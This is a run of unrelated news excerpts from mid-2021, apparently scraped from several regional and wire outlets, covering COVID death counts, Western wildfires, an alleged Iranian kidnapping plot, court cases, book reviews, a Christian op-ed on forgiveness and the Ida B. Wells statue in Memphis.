The lawsuit filed last month in federal court in northern New York claims the states corrections agency violated Salvanas rights to speak up against the policy. Salvana said his superiors' inhumane interference in his patients' care caused him to leave his role as facility director in central New York at Walsh Regional Medical Unit in Rome, New York, that has 125 beds for prisoners with complicated medical needs.

It was very depressing, Salvana said in an interview. It's depressing to see these patients and knowing you cannot do anything to change it. Youre fighting a battle that you essentially cant win. It was very depressing and as a result I couldn't watch it anymore."
We need to make sure we get it right, and people understand what the numbers are. And how were using them so they cant be misused by people who have a motive to misuse them, said Georges Benjamin, a physician and executive director at the American Public Health Association.

The Cuomo administration's count includes only laboratory-confirmed COVID-19 deaths at hospitals, nursing homes and adult-care facilities. That means its tally excludes people who died at home, hospice, in state prisons or at state-run homes for people living with disabilities.

It also excludes people who likely died of COVID-19 but never got a positive test to confirm the diagnosis. Tests were scarce in the early stages of New York's outbreak. At least 5,000 New York City residents likely died of COVID-19 without a positive test, according to city statistics.

The gap has widened even as testing has become more widely available, with the CDC data showing at least 3,200 more COVID-19 deaths in the state than New Yorks own tracker so far in 2021.
In a sick sort of way, I was happy to see it, Dawz said of the flooding.

If nothing else, Drawz said he and his neighbors were finally able to see whether all the work they have done, and that of city and county staff, has been worth it.

For nearly two years since the Museum Fire, sandbags and concrete barriers have lined homes and streets across much of the area.

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Drawz said up until last month, much of their driveway was blocked by concrete barriers. Those barriers have been a real inconvenience, Drawz said, prevented them from using a significant amount of their driveway.

As a result they decided to talk to the county and sign the papers to get those barriers removed just three weeks ago.

Now that flooding has occurred, Drawz said he is undecided as to if they made the right choice to get the barriers taken down. Drawz admitted the absence of the barriers left his home less defended, but he added he thought that water still may have made it through nonetheless.

County/city update

The following email was sent to Museum Flood Area residents Tuesday evening and put out as a press release:
NEW YORK (AP)  An Iranian intelligence officer and three alleged members of an Iranian intelligence network have been charged in Manhattan with plotting to kidnap a prominent Iranian opposition activist and writer in exile and take her back to Tehran, authorities said Tuesday.

An indictment in Manhattan federal court alleges that the plot was part of a wider plan to lure three individuals in Canada and a fifth person in the United Kingdom to Iran. Victims were also targeted in the United Arab Emirates, authorities said.

The identities of the alleged victims were not released but Brooklyn-based Masih Alinejad confirmed that authorities had told her she was among the targeted victims.

I knew that this is the nature of the Islamic Republic, you know, kidnapping people, arresting people, torturing people, killing people. But I couldnt believe it that this is going to happen to me in United States of America," Alinejad told The Associated Press.

Iran's mission to the United Nations did not immediately respond to a request for comment. State media in Tehran did not immediately acknowledge the alleged plot, though Iran has become more aggressive in recent years about seizing opposition journalists and dissidents abroad amid tensions over its tattered nuclear deal.
I think that the 6888th, the command inherently knew that their presence overseas meant more than clearing that mail backlog, said Retired Army Col. Edna Cummings, who was not a member of the 6888th but has been advocating to get them greater recognition. They were representing opportunity for their sisters at arms back in the United States who were having a hard time dealing with the racism and sexism within the ranks."

The unit dodged German U-boats on their way to England and scrambled to escape a German rocket once they reached a Glasgow port.

They were deployed to unheated, rat-infested airplane hangars in Birmingham, England, and given a daunting mission: Process the millions of pieces of undelivered mail for troops, government workers and Red Cross workers. The mountains of mail had piled up and troops were grumbling about lost letters and delayed care packages. Thus their motto, No Mail, Low Morale.

They kept hollering about wanting us to go overseas so I guess they found something for us to do overseas: Take care of the mail, McClendon said. And there was an awful lot of mail. ... They expected we were gonna be there about two or three months trying to get it straightened out. Well I think in about a month, in a month and a half, we had it all straightened out and going in the right direction.
Employer premiums currently run about $160 per year per employee, but could increase if the trust fund dropped below zero and the state had to borrow from the federal government. The fund builds up during good economic times and drops during periods of high unemployment, with federal cash making sure benefits continue if it is exhausted.

Ducey announced in May that he would ending the extra $300 a week in federal unemployment payments starting this week, join a joining a large number of Republican-led states that decided to end the program amid complaints from employers that they were having a hard time persuading people to come to work.

Economists say there are various reasons why some people are not returning to work, including fear of the virus, lack of child care and for some, the added unemployment pay.

But at $540 a week with the current $300 federal supplement, an unemployed Arizona worker is only getting $1.35 above the states minimum wage of $12.15 per hour.

Arizona's standard weekly unemployment pay is just $240 a week, lower than all but Mississippi. At $240 per week, the unemployed will be getting $6 per hour.
With vacations back on the schedule and weddings and other summer activities in full swing in Southern California, its easy to forget that a pandemic is still raging.

Despite the efforts of public health officials to curtail infections and the work by scientists to develop vaccines in record time, COVID-19 is not done with us yet. That much is clear from the surge in new cases in California and Los Angeles after weeks of steep declines in the spring. Officials in Los Angeles County reported 3,000 new cases in just three days  exponential growth from just a month ago, when new daily cases were counted in the low hundreds. Its a similar story across the state, the nation and the globe.

Though it wasnt wholly unexpected for infections to rise after Gov. Gavin Newsom lifted the states pandemic closures and mask mandates on June 15, its troubling nonetheless.

The jump in coronavirus cases is being driven by the highly contagious Delta variant, which is now the dominant strain in California and the U.S., and which is finding fertile breeding ground among the millions who are not yet fully inoculated  including almost half of Californians.
A group at Homestead National Historical Park is continuing efforts to boost the population of two species of mussels in Gage County.

The project began last July when 1,000 mussels  500 fatmucket and 500 plain pocketbook mussels  were distributed in Cub Creek at Homestead.

A second round was completed Tuesday when another 500 plain pocket and 450 fatmucket mussels were placed in the creek.

Before we stocked them last year we did a complete study of the stream to see what species were present, said Jesse Bolli, Homesteads natural resource management specialist. We found several different species in the stream, but there were no fatmuckets and there were no plain pocketbooks. We felt it was appropriate to introduce those mussels.

The mussels were provided by Nebraska Game and Parks, and 100 of each species were tagged with tracers so officials can check on them next year.

The same amount were tagged last year, and While the survey numbers seem low, they showed enough promise to continue the program for a second time.

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The painted bricks of a Toledo, Ohio, mural honoring George Floyd crumbled Tuesday.

The piece, on the side of the former Mugshots Bar at the corner of Summit and Lagrange streets, reportedly collapsed about 5:17 p.m., Toledo police on scene said.

The cause of the damage is not known.

City building inspector Hugh Koogan said it appeared to be a result of natural deterioration. The city had noticed the middle of the wall, where most of the damage occurred, bowing recently, he said.

"It was just age. It just came away," Mr. Koogan said. "It happens to the older buildings."

The Toledo Fire and Rescue Department, however, is listing the cause as a lightning strike, based on witness reports and the scene, spokesman Sterling Rahe said.

That witness told authorities they saw lightning strike the building at the site of the collapse, but Mr. Koogan, who talked to the person, said he found no signs to support that theory. He also dismissed claims that the rainy weather was to blame.

The artist, David Ross, said he is skeptical of the cause.
FICTION: A powerful tale of two relatives fighting painful battles in India, seven decades apart.

"China Room" by Sunjeev Sahota; Viking (256 pages, $27)



Sunjeev Sahota's "China Room" is an intelligent, earnest novel, and although one of its story lines is weaker than the other, it's consistently absorbing, a sweeping dual portrait of a woman forced into an adolescent marriage and the troubled descendant she'll never meet.

The book's main thread  set in 1929, in an India increasingly resistant to British rule  focuses on an unwillingly engaged 15-year-old. Mehar's impoverished parents have agreed that she'll marry the son of a domineering, relatively wealthy widow named Mai. Adding insult to matrimony, Mehar hasn't met her husband-to-be. The wedding day won't provide any clarity.

Her future mother-in-law has arranged for Mehar and two women  Gurleen and Harbans  to wed her three sons in a single ceremony. Mai's interpretation of the family's Sikh faith requires that the brides be "shrouded from head to foot in  gown[s] and gold drapes." The men wear "curtain[s] of white marigolds," obscuring their faces. Eager to set a dictatorial tone, Mai won't tell the brides who's marrying whom.
Each essay is accompanied by a Goodwin illustration, charming and skilled. He includes short, contemplative poems he has written and revelatory quotes by great naturalists. And each essay ends with a leap from the particular science of the life form he's examining to a lesson we might ponder in our own, messier, human lives.

At its best, that approach is arresting, like the wee lesson at the end of an Aesop's fable. But there are times when the segue from the woods into Goodwin's wisdom feels a bit cloying, as if he tried too hard.

One where it works well is his chapter on the whitetail deer, where he explains why deer hunting is urgently important in a landscape now largely devoid of predators. The story of humans and deer is one of the starkest examples of why we must "tread as lightly as possible, for we do not even know with which step we will change an ecosystem," he writes.

Goodwin is at his thoughtful best when he reminds us what the Ojibwe or Dakota cultures, as well as European settlers' worldviews, made of the creatures and plants he celebrates. Then, he gently warns us why those life forms may disappear  habitat destruction, pollution, climate change. It is to his credit that he can gracefully combine such forceful thoughts in the space of three or four pages, over and over again, in varying ways.
Gov. Greg Gianforte on Wednesday issued an executive order declaring a statewide wildland fire emergency.

Montana faces critical fire conditions that pose significant threats to our communities, infrastructure, first responders, and way of life, Gianforte said in a press release. As our firefighters battle active fires across the state with more to come, this executive order helps ensure they have the suppression resources, supplies, and fuel they need to safely and aggressively respond.

As of July 14, nearly 1,400 wildland fires have burned over 141,000 acres in Montana. Of these fires, approximately 78% have been human caused, adding a significant workload to volunteer and agency wildland firefighters.

Im urging all Montanans and visitors to our state to do their part. Follow local fire restrictions, prepare your homes and communities for wildfire, and recreate and work safely to ensure youre not adding to our wildland firefighters workload by inadvertently starting a wildfire," Gianforte said.

The governor issued Executive Order 12-2021 in response to the extremely dry and dangerous wildfire conditions that exist across the state and to the national shortage of firefighting resources.
LOS ANGELES  Wildfires that torched homes and forced thousands to evacuate burned across 10 parched Western states on Tuesday, and the largest, in Oregon, threatened a portion of California's power supply.

Nearly 60 wildfires tore through bone-dry timber and brush from Alaska to Wyoming, according to the National Interagency Fire Center. Arizona, Idaho and Montana accounted for more than half of the large active fires.

The fires erupted as the West was in the grip of the second bout of dangerously high temperatures in just a few weeks. A climate change-fueled megadrought also is contributing to conditions that make fires even more dangerous, scientists say.

The National Weather Service said the heat wave had peaked in many areas, and remaining excessive heat warnings were expected to expire by Tuesday night.

"While we are eagerly anticipating a cooling trend over the next few days, we still have another hot day to get through," the Medford, Oregon, weather office said.
ORLANDO, Fla.  Facing criticism from small cities including Bismarck that feared losing status and funding, the federal government says that it wont raise the population threshold for what qualifies as a metro area.

The Office of Budget and Management said it will keep the minimum population needed in a community's core city at 50,000 residents in order to be designated a metropolitan statistical area," also known as an MSA.

The federal government had been considering doubling that threshold to 100,000 people. Under that earlier proposal, 144 cities with core populations of 50,000 to 99,000 were at risk of becoming micropolitan statistical areas" instead. The proposal would have changed the designation of more than a third of the current 392 MSAs.

Leaders of metro areas such as Bismarck and Grand Forks; Cheyenne, Wyoming; and Auburn, Alabama, had worried the change would cause real harm, preventing urban areas from getting designated federal funding and making them less attractive for economic development.

The fact that OMB will not be pursuing the change at this time will ensure that essential community services, funded by various federal agencies which consider population size and MSA status, will continue into the foreseeable future, Bismarck Mayor Steve Bakken said in a statement Wednesday.
Two Mandan people accused of using an elderly family members bank funds to travel, pay off a car loan and cover traffic tickets are scheduled to go to trial in August.

Laurie Guthmiller, 61, on Monday waived her right to a preliminary hearing and pleaded not guilty to a charge of endangering a vulnerable adult. Matthew Guthmiller, 37, on Tuesday pleaded not guilty to exploitation of a vulnerable adult after South Central District Judge Cynthia Feland during his preliminary hearing found there was enough evidence to move the case to trial.

The elderly woman is identified only by initials in a police affidavit but the document indicates she is Laurie Guthmiller's mother. Matthew Guthmiller is the womans grandson, Mandan Police Detective April Bowman said at the Tuesday hearing.

Bank statements show $47,000 from the elderly womans account went toward a car loan from 2017-20. She was deemed incompetent in 2011 and hadnt driven since then, police said.

More than $15,000 in transactions on the woman's debit card were made in cities associated with casinos, including Las Vegas and Laughlin, Nevada, police said.
Even during the pandemic, its still important to take care of the other aspects of a persons health and wellness, she said.

The Health Department also reported that unintentional injuries, which would cover events such as car accidents, reached a 10-year high, with 568 people killed. Dahl said there have been indications that even though fewer people took to the roads during the early months of the pandemic, they engaged in riskier behavior like speeding or driving under the influence of drugs or alcohol.

Health officials noted that 176 people who tested positive for the virus died of causes other than COVID-19. Those deaths were not included in the COVID-19 tally.

South Dakota has seen COVID-19 cases tumble to new lows in recent months, but Secretary of Health Kim Malsam Rysdon warned that the state remains vulnerable to new outbreaks, especially as the more-contagious delta variant circulates among those who haven't been vaccinated against the virus.

We know delta's here, she told South Dakota Public Broadcasting on Tuesday.

About 46% of the state's population has been fully vaccinated, which is lower than the national average, according to the Centers for Disease Control and Prevention.
Wildfires in Canada and the Western U.S. are leading to a smoky haze over North Dakota, and state officials are urging people with respiratory conditions to take precautions.

National Weather Service Meteorologist Alex Edwards told Prairie Public that smoky air particles from wildfires in Ontario, Manitoba and Saskatchewan have permeated the area via the jet stream. The haze is thick enough in eastern North Dakota to reduce visibility to around 5 miles in the Red River Valley, he said. Haze also is noticeable in Bismarck-Mandan.

The Associated Press reported that there are more than 60 active large blazes burning in Western states and Alaska. Smoke from wildfires in Wyoming and Montana are contributing to the haze in North Dakota, according to the state Department of Environmental Quality.

The extremely small particles of ash and soot in the air can irritate the respiratory system, especially for those who suffer from chronic obstructive pulmonary disease -- better known as COPD -- or conditions such as asthma and allergies, the agency said in a statement. It advised people with respiratory conditions, the elderly and young children to consider limiting activities outdoors.
The family of an unarmed Black man who was fatally shot by sheriff's deputies in North Carolina says he died because of the officers' intentional and reckless disregard of his life, according to a $30 million civil rights lawsuit filed Wednesday.

Andrew Brown Jr. was killed April 21 by Pasquotank County Sheriffs deputies while they were serving drug-related warrants at his Elizabeth City home.

Several deputies surrounded Brown in his BMW before his car backed up and moved forward. They fired several shots at and into his vehicle. He was killed by a bullet to the back of his head.

Lawyers for the Brown family said the shooting was unjustified because Brown was trying to drive away  not toward the deputies.

This lawsuit was easy to draft because of the facts in this case, attorney Harry Daniels told reporters at a news conference. Anybody can see that this was an unlawful killing.
WASHINGTON (AP)  The Biden administration said Wednesday that it is prepared to begin evacuation flights for Afghan interpreters and translators who aided the U.S. military effort in the nearly 20-year war  but their destinations are still unknown and there are lingering questions about how to ensure their safety until they can get on planes.

The Operation Allies Refuge flights out of Afghanistan during the last week of July will be available first for special immigrant visa applicants already in the process of applying for U.S. residency, according to the White House.

White House press secretary Jen Psaki declined to detail how many Afghans are expected to be among those evacuated in the first flights or where those evacuated will be taken, citing security concerns.

The reason that we are taking these steps is because these are courageous individuals, Psaki said. We want to make sure we recognize and value the role theyve played over the last several years.

Confirmation on the timeline of the evacuation flights came as President Joe Biden met Wednesday with Gen. Austin Scott Miller, who earlier this week stepped down as the top U.S. commander in Afghanistan. Psaki said Biden wanted to personally thank Miller for conducting an orderly and safe drawdown of U.S. troops.
The blaze, which has burned an area larger than New York City, has destroyed about 20 homes and 2,000 more are under evacuation, but much of it was burning in remote areas of the Fremont-Winema National Forest. On Wednesday, the fire was 5% contained.

But even when the flames don't enter densely populated areas, the impact of the increasingly intense fires around the U.S. West is felt directly by Native American tribes, who have managed the land for millennia.

We couldnt do ceremonies because of the fire and our hunting grounds, we could not hunt there, said Hockaday of last year's fire. About 40 square miles (103 square kilometers) of our original territory is closed to us right now.

Members of the Klamath Tribes in Chiloquin, Oregon, are concerned the Bootleg Fire will affect their ancestral territory as well.

There is definitely extensive damage to the forest where we have our treaty rights. I am sure we have lost a number of deer in the fire, said Don Gentry, chairman of the Klamath Tribal Council in Chiloquin, Oregon.

Gentry said although the active fire was 25 miles (40 kilometers) from the tribes administrative headquarters, the council declared a state of emergency Wednesday because of its erratic behavior and rapid growth.
FARGO  A Grand Forks man was convicted of murder on Wednesday for killing his mother and a police officer during a shootout as authorities tried to evict the pair from their apartment last year.

Salamah Pendleton, 42, opened fire on Officer Cody Holte and other officers in May 2020 while they were trying to serve papers evicting him and his mother, Lola Moore, from their Grand Forks apartment for what authorities called a lack of rent payment and lease agreement violations. Pendleton shot his mother while firing wildly on the officers after they entered the home and he killed Holte during a second round of gunfire. Pendleton and a Grand Forks County sheriff's deputy, Cpl. Ron Nord, were also wounded in the gun battle.

In addition to the two murder counts, the jury convicted Pendleton of two counts of attempted murder, terrorizing, reckless endangerment and possession with the intent to deliver marijuana. He was found not guilty of one count of attempted murder and criminal mischief.

Grand Forks Police Chief Mark Nelson issued a statement to acknowledge the professionalism, sacrifice, and dedication shown by those involved in the trial.
Secretary of State Al Jaegers decision not to seek another term will bring someone new into the office for the first time since 1993. He was first elected in 1992 and reelected seven times, including in 2006 after the Legislature shortened his term to two years to realign the election cycle.

Jaeger, 77, is the second-longest serving secretary of state in North Dakota history. Ben Meier served 34 years starting in 1955. Both Republicans, it has given the party an edge on control of the office.

No one can question Jaegers dedication to the job or the state. His deep pride in North Dakota has been obvious throughout his long service. Every year he reminds newspapers and other media of the anniversary of North Dakotas statehood. North Dakota became the 39th state on Nov. 2, 1889.

Its an anniversary Jaeger believes North Dakotans should remember and observe.

Hes been known to show off the Capitol to young reporters and others with impromptu tours that include a stop at the Monkey Room that includes rare California walnut. By using ones imagination while looking closely at the wood, one might find images of wildlife, including a monkey.
Mathew 5:7 says Blessed are the merciful, for they will be shown mercy. Brandt Jeans display of forgiveness and call to Christ for Amber Guyger is a powerful alternative to retribution. Displays of Christ-like mercy promote justice as love. []

The killing of Botham Jean continues to make headlines after Amber Guyger, an off-duty police officer who mistook Jean for an intruder in her apartment, then shot and killed him, has asked an appeals court to toss her murder conviction.

Less prominent is the ultimate act of love offered by Bothams brother Brandt Jean, who expressed forgiveness toward Guyger, who faces 10 years in prison. CNN reported:

Going through the trial, I just had to hear it once, and thats when like my heart kind of opened up, he said. After Guyger was sentenced, when he sat on the stand, I just, you know, let it all out. Gradually, throughout this year, I worked on myself and I understood that this anger shouldnt be kept inside me, he told CNN. His willingness to forgive Guyger will help him apply that spirit of forgiveness to other parts of his life, he said. I usually tell myself if I could forgive her then, I could forgive anyone for anything, he said. Bothams death and the trial hasnt changed him, he said. Its just forced me to improve my humility and freed me from anxiety.

Brandt Jeans words, however, should rally Christians to pause and think about the way we look at our neighbors  even those involved in the criminal justice system.

The government cant organize complex social relationships, but their involvement is vital to enact justice per the Constitution. Moreover, it is the churchs mandate to discipline their members, but if one commits a crime against society, it is within the governments jurisdiction to enact justice.

But the government is not in the business of forgiveness. Paul Heyne puts it another way: A judge who forgives a convicted criminal is not a candidate for sainthood but for impeachment. In other words, the government must seek justice because society gives them that power.

Neither the government nor anyone else should be in the business of revenge.

While government schemes play out on behalf of social institutions, Christians must enact love and forgiveness toward victims and criminals. Dallis Willard in The Divine Conspiracy Continued wrote: We must be able to value and love people as they are, whether or not we agree with their views or choices.

All too often, we relabel people to make them something not human  a suspect, a thief, a murderer. In an ActonLine podcast addressing George Floyds treatment by Derick Chauvin, Dr. Anthony Bradley highlighted that relabeling people removes their dignity in the process. In a similar case, Amber Guyger has been attacked and labeled as something less than human and stripped of her dignity in the process.

Bradley correctly places human dignity at the center of a Christians mission. With Brandt Jeans powerful words in mind, forgiveness by individuals is also an essential arm of love that is lacking in the criminal justice system and conversations about crime. Marginalizing criminals humanity leads to hate and malice.

1 John 4:20 says If anyone says, I love God, and hates his brother, he is a liar; for he who does not love his brother whom he has seen cannot love God whom he has not seen. Hating crime is a valid emotion; hating criminals is an expression of our sinful nature.

Our divine task is to grow our individual capacity to love the victims and criminals  a radical upheaval of the modern notion of justice.

The bridge to fill the rift between the role of the legal system and the role of the human heart is not to abolish all prisons, as some Black Lives Matter leaders would suggest. The solution is to seek restorative justice in a powerful articulation of mercy through individuals.

We need to seek justice as love. Leave justice to the courts, but seek love and forgiveness for all parties involved on behalf of the individuals. How do we do this? Brandt Jean knew that only through forgiveness and Christ can real healing come about.

To pursue true human flourishing we need to view every human as being made in the image of God. Promoting mercy and keeping human dignity at the center of the conversation about the criminal justice system is integral to living out the Christian faith.

Mathew 5:7 says Blessed are the merciful, for they will be shown mercy. Brandt Jeans display of forgiveness and call to Christ for Amber Guyger is a powerful alternative to retribution. Displays of Christ-like mercy promote justice as love.
New-vehicle sales in the region have risen despite the chip shortage. New vehicle sales nationwide increased slightly during the second quarter, although the pace of sales slowed during May and June, according to the National Automobile Dealers Association.

Locally, the Niagara Frontier Automobile Dealers Association reported new-vehicle sales through the first half of the year were up 40% over the same period in 2020. Neither year's figures included sales heavyweight Chevrolet, which does not publicly disclose its results for the Buffalo Niagara region.

But another top selling brand, Ford, reported new-vehicle sales increased 20% in the first six months at its nine area dealers from the same period a year ago. Last year, dealers in New York State labored under restrictions on their operations at the outset of the pandemic, impacting their ability to make sales.

Nationally, demand is particularly strong for light trucks and SUVs, which combined accounted for 77% of all new vehicles sold in the first half of the year, according to the NADA. The trade group said those vehicles' market share is expected to continue moving toward an 80% market share.

The strong demand for trucks is a big reason for the hiring at the GM plant in Lockport.
Workers at Allegheny Technologies have ratified a four-year deal, ending a strike that began March 30.

The deal covers about 1,300 workers, including about 40 at a specialty metals plant in Lockport. Members of the United Steelworkers union were on strike at a total of nine ATI plants.

Our members showed tremendous strength and solidarity, beating back demands for concessions that would have hurt generations of workers, said Tom Conway, president of United Steelworkers International. This contract reflects how truly powerful working people can be when we fight together.

The Steelworkers union did not announce what percentage of ballots were cast in favor of the deal.

The hourly workers will start returning to their jobs early next week, said Natalie Gillespie, a spokeswoman for Pittsburgh-based ATI. The new contract runs through the end of February 2025.

We look forward to resuming operations with our employees in place, working safely to deliver our commitments to customers, said Kim Fields, an ATI executive. We appreciate the efforts of our salaried workforce and the temporary replacement workers who helped maintain operations during the work stoppage, enabling us to meet our customers needs and protecting the business during the strike.
"We cannot win this battle without the embracing of community and involving them in a very deliberate and conscientious way," Giles said. "And one of the ways to do that is to provide the resources. We believe we can eradicate violence that's going on in the community. We have some very skilled people at resolving conflict. We have some people that we call them credible or trusted messengers that can go speak to the people that are perpetrating this and say: Listen, we've got a plan for you. We've got some alternative plans. We've got alternative lifestyles for you. We got alternative objectives ... if you let us hold your hand."
Two downtown Niagara Falls hotels hit hard by the Covid-19 pandemic were approved for loans Wednesday that will help them pay what they owe to local governments.

The Niagara County Industrial Development Agency approved four-year loans at 1.5% interest for the companies that own the Courtyard by Marriott and the Cadence Hotel. Although they're separate companies, both are owned by the Patel family.

The NCIDA created a program last year called HELP  the Hospitality Emergency Loan Program  to aid Niagara Falls hotels that were unable to make their PILOTs  payments in lieu of taxes  to the city, county and Niagara Falls School District. Last summer, the agency approved 24 loans totaling more than $2.1 million to the hotels, many of which have received previous incentive packages from the NCIDA.

With tourism devastated, struggling Falls hotels can seek IDA loans The impact of the Covid-19 pandemic has all but ruined the Niagara Falls tourism season, with travel and tourism far below normal and hotels in the city largely empty. Wednesday, the Niagara County Industrial Development Agency tried to throw them a lifeline. The NCIDA board created a Hospitality Emergency Loan Program, or HELP, which will offer short-term, low-interest loans

However, Nirel Patel, president of Rupal Corp., said his hotels were unable to apply last year because their main lender would not allow any subordinate borrowing. Since then, Rupal and Indian Ocean LLC, another Patel entity, have refinanced their debt.

The loan to the Cadence, Rupal's 44-room hotel that opened on Memorial Day weekend at 200 Rainbow Blvd., is $56,055. The Courtyard, owned by Indian Ocean, was lent $93,280.
She also never told Belton-Cottman  who helped her with things like what to include and not include in her board profile, and also made a point of asking her opinion at board meetings  that she felt she was being censored. The board member was incensed at that possibility and wants to get to the bottom of it.

Why didnt she tell the board president about it?

After the Burgard social worker she praised as my school mom encouraged her to speak out and then was removed from the post working with the Student Council  the principal said it was for unrelated reasons  Walker said she was told not to talk about it, and so she didnt think she could talk to Belton-Cottman about her concerns.

However, she will be able to talk about them now, to an even bigger audience. She is slated to tell her story when We the Parents appears before the Common Councils Education Committee on July 27. She also was on the groups radio show last weekend, and may appear on its July 22 student roundtable podcast.

Samuel L. Radford III said the group realizes its important to bring students voices into the mix in a meaningful way to augment data like test scores and graduation rates.
Aswani had planned on leaving Buffalo with Dhan this week for a visit to the clinic, packing along an ultrasound machine. He wanted to meet the staff already working there, figure out the best way he could help and then report back to Holmes and consider a larger visit, with more colleagues and medical students.

Donohue said she spent 90 minutes on the phone with Aswani, not long ago, heartened by his interest and complete anticipation.

Last month, to their shock, she and Dhan learned of his death.

To those who saw his firsthand impact on Buffalo, it is impossible to imagine he was not even here for five full years. Holmes said he and his colleagues in Global Health Education are already dedicated to what they believe is the most fitting tribute:

They hope to join together in January for a group journey to Dhans clinic, Holmes said, "a chance for assessing the needs of that community and seeing how Western New York can help.

Holmes called Aswani kind and gentle and unassuming, a physician whose entire focus was his patients. His nephew Harry, who eulogized him at the service, said his uncle had little interest in material things, yet visiting with him for long games of chess was unforgettable, because his simple presence offered a feeling of safety and peace.
MONTEREY, Calif. (AP)  Two women died when their small plane crashed into an empty home in a luxury gated community in the hills of Northern California, relatives said Wednesday.

Mary Ellen Carlin of Pacific Grove was flying the plane Tuesday, and Alice Diane Emig of Rancho Cordova and her dog, Toby, were on board, Emig's family told Monterey Bay-area news station KSBW-TV.

The twin-engine Cessna 421 crashed into the home in the gated community about 5 miles (8 kilometers) from the city of Monterey shortly after departing from Monterey Regional Airport, according to the Federal Aviation Administration.

The crash sparked a fire in the house that spread to nearby bushes, but crews got it under control Tuesday.

Carlin, the owner of the plane and a flight instructor, was planning to fly Emig from Monterey to Mather in the Sacramento area, family told the TV station.

Relatives said deputies told them no one survived the crash.
BERLIN (AP)  Former President George W. Bush criticized the Western withdrawal from Afghanistan in an interview with a German broadcaster released Wednesday, saying he fears that Afghan women and girls will "suffer unspeakable harm."

Asked in an interview with German international broadcaster Deutsche Welle whether the withdrawal is a mistake, Bush replied: "You know, I think it is, yeah, because I think the consequences are going to be unbelievably bad."

The war in Afghanistan began under Bush after the Sept. 11, 2001 attacks on the United States. Washington gave Taliban leader Mullah Omar an ultimatum: hand over al-Qaida leader Osama bin Laden and dismantle militant training camps or prepare to be attacked. Omar refused, and a U.S.-led coalition launched an invasion in October.

The withdrawal of U.S. and NATO troops set in motion earlier this year by current President Joe Biden is now nearing completion. Taliban fighters have been surging through district after district, taking control of large swaths of the country.

In the DW interview, which marked outgoing German Chancellor Angela Merkel's final official visit to the U.S., Bush said Merkel had supported the deployment in Afghanistan in part "because she saw the progress that could be made for young girls and women in Afghanistan."
In 1964, he was a member of the string class and played bass in bands at East High School. The next year, he played in the orchestra at Lafayette High School. He moved to New York City around 1966.

"A lot of his musical development was at East High School and at Lafayette High School," said Doyle, who met Mr. Booth in 1976. As a student, he was already playing gigs locally and traveling to Rochester to play with Mangione and Joe Romano, "the real big shots," Doyle said.

After his death, friends shared a story about how Mr. Booth came to play with Art Blakey. "When Art Blakey came to Buffalo, Juini sat in with the band," Doyle said. "In one version of the story, Art Blakey told him, 'When you're in New York, look me up!' The story is that Juini got on a train the next day to go to New York, and showed up with a suitcase and a bass at Art Blakey's door, and that's how he started playing with Art Blakey's band."

While Mr. Booth's sister wasn't sure that story was true, she recalled Blakey having dinner with her family.

Through the years, Mr. Booth played locally at many places, from the Pine Grill Reunion, the Calumet Arts Cafe and the Tralf Music Hall to the Ol' Wondermoth co-op house, and in 1995, at a rare solo recital to celebrate John Coltrane's birthday, in Borders bookstore in Cheektowaga.
It would have been difficult to get through Tuesday without noticing the increase in heat and humidity compared to Monday. High temperatures reached the mid to upper 80s, and Dunkirk made it up to 90. The suns heat energy combined with the high amounts of water vapor in the air helped organize thunderstorms into strong to severe storms, as well predicted by the Storm Prediction Center's severe thunderstorm watch issued for our region in the early afternoon. The majority of the wind damage occurred below the Buffalo Southtowns and mainly in the Southern Tier. A small sampling.

Some other damage reports came in from Erie and Niagara counties as well, though not so many as to the south. Heavy to torrential rainfall reports can be found in this next link, with particular attention paid to parts of western Chautauqua County. Portions of southern and central Erie County acquired some hefty totals as well.
Black Monuments Matter: Journalist and Civil-Rights Activist Ida B. Wells Gets Statue in Downtown Memphis

Nearly 130 years ago famed journalist and civil rights advocate Ida B. Wells was driven out of Memphis for reporting on the lynching of three Black men; a statue of the former resident will be unveiled in downtown Memphis, honoring the life and work of the journalist, activist, and teacher.

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The statue will sit next to the First Baptist Beale Street Church where Wells newspaper had its offices. While the erection of the statue certainly serves as a celebration of Wells legacy as a journalist and activist, it does not celebrate the citys role in her achievements: rather it acknowledges the cruelty, hatred, and violence that led her to leave Memphis 130 years ago.

Born to an enslaved family on July 16th, 1862 (six months prior to the Emancipation Proclamation) in Holly Springs, Mississippi, Ida B. Wells came to Memphis in 1882 at the age of 20 to live with their aunt following the death of her parents. She taught at two schools in the city before joining the newspaper, The Memphis Free Speech as a full-time journalist. In 1892 she reported on the death of her friend and his two business associates at the hands of a white lynching mob. Her writing caused a fierce backlash amongst the citys white population, who later destroyed the newspapers office and threatened Wells life. Wells fled the city after, eventually traveling the world to speak against the lynching and violence against Black people happening in the American South.

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With discussions about the continued existence of statues dedicated to Confederate heroes still happening around the country, we seem to spend more time thinking about who we shouldnt honor and less about who we should. But with the unveiling of the Wells statue this Friday, Memphis will make a decisive choice about how to honor the citys complicated civil rights history.

Honorary Chair of the statues campaign, Terry Lynch, acknowledged this approach to the citys history, saying in promotional materials for the statue: For some of us telling the story of Ida B. Wells and her departure from Memphis will sting. We dont want to remember our violence and cruelty. But we need to recognize who we have been so we can become the cityand the people we aspire to be.

The unveiling of the statue, this Friday at 11 am (CDT) will be proceeded by a parade to the statues site. This follows the week-long activities around the city designed to honor and celebrate Ida B. Wells legacy as a journalist and her fight against racism in the US.

Top Photo Credit: Barnett, Public domain, via Wikimedia Commons

Kelsey lives in New York City and is a student at Barnard College, where she studies Anthropology.
SINGAPORE (Reuters) - A cruise ship operated by Genting Cruise Lines returned to Singapore a few hours ahead of schedule after a suspected COVID-19 case was found on board, broadcaster ChannelNewsAsia (CNA) reported on its website.

A passenger on board the ship told CNA that an announcement was made at about 1:00 a.m. that a guest had tested positive for COVID-19.

The World Dream ship arrived at the Marina Bay Cruise Centre at around 6:00 a.m. local time on Wednesday, about three hours ahead of schedule, according to the report.

The Singapore Tourism Board and Genting did not immediately respond to requests for comment.

The ship left Singapore on Sunday for a four-day so-called "cruise to nowhere", which are restricted only to residents of the city state and sail for a few days in nearby waters.

(Reporting by Aradhana Aravindan and Chen Lin in Singapore; Editing by Ed Davies)
George W. Bush. Illustrated | Getty Images, iStock

It is sometimes tempting to imagine where the Republican Party would be today if the following scenario had unfolded: After the 9/11 terrorist attacks, Osama bin Laden was captured before he escaped from Afghanistan; the U.S. limited that war to the achievable aims of routing al-Qaeda cells and punishing the Taliban for its noncooperation; we never invaded Iraq at all.

